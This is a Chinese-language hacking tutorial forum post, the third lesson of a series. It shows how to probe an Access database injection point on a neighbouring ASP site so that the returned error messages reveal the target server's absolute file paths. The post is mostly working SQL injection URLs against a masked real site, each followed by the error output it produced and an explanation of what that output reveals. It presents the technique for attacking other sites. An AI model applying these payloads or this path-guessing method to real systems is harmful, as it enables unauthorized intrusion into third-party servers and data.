【我們一起踏上***的征途】—第三課 用access 注入點猜絕對路徑

注：本文同時在51cto論壇—》******板塊同步更新！

 

元旦期間在家無聊，看了一下某人關於猜絕對路徑的文章，覺得不怎麼好，他的太麻煩了。現在我來弄一個簡單點的，哈哈，希望大家喜歡！

這裏我分享的辦法有點類似access跨庫查詢 我們只要在旁站中、找到一個  顯錯模式的 access的注入點就OK了。

5f5b14d0ca95acdcae8667a0844b6f5f.jpg (9 KB)

2010-1-5 13:34

如上圖就是暴錯模式的 access的注入點。 現在我們隨便找了個 access的注如點：http://****.net/en/ShowNews.asp?id=12  

http://****.net/en/ShowNews.asp?id=-12+union+select+*+from+admin

5.jpg (15.65 KB)

2010-1-6 12:58

當我們在後面加個   .c  看看  

http://****.net/en/ShowNews.asp?id=-12+union+select+*+from+admin.c

4.jpg (15.46 KB)

2010-1-6 12:48

關鍵就是這裏的錯誤提示。  
找不到文件 'c:\windows\system32\inetsrv\admin.mdb'。

提示找不到文件。  那麼也就是說。這個目錄 c:\windows\system32\inetsrv\ 是存在的。   

那麼我們繼續。  
http://****.net/en/ShowNews.asp?id=-12+union+select+*+from+c:\admin.c

3.jpg (12.42 KB)

2010-1-6 12:48

注意下。   找不到文件 'c:\admin.mdb'。      也就是說 。 c:\盤是存在的。

好了。現在我們繼續。  

http://****.net/en/ShowNews.asp?id=-12+union+select+*+from+c:\ajsdhakjhwkjdh\admin.c

2.jpg (13.68 KB)

2010-1-6 12:48

注意現在的錯誤。  
'c:\ajsdhakjhwkjdh\admin.mdb'不是一個有效的路徑。 確定路徑名稱拼寫是否正確，以及是否連接到文件存放的服務器。
那麼。 我們可以通過這個來猜 。  目標站的路徑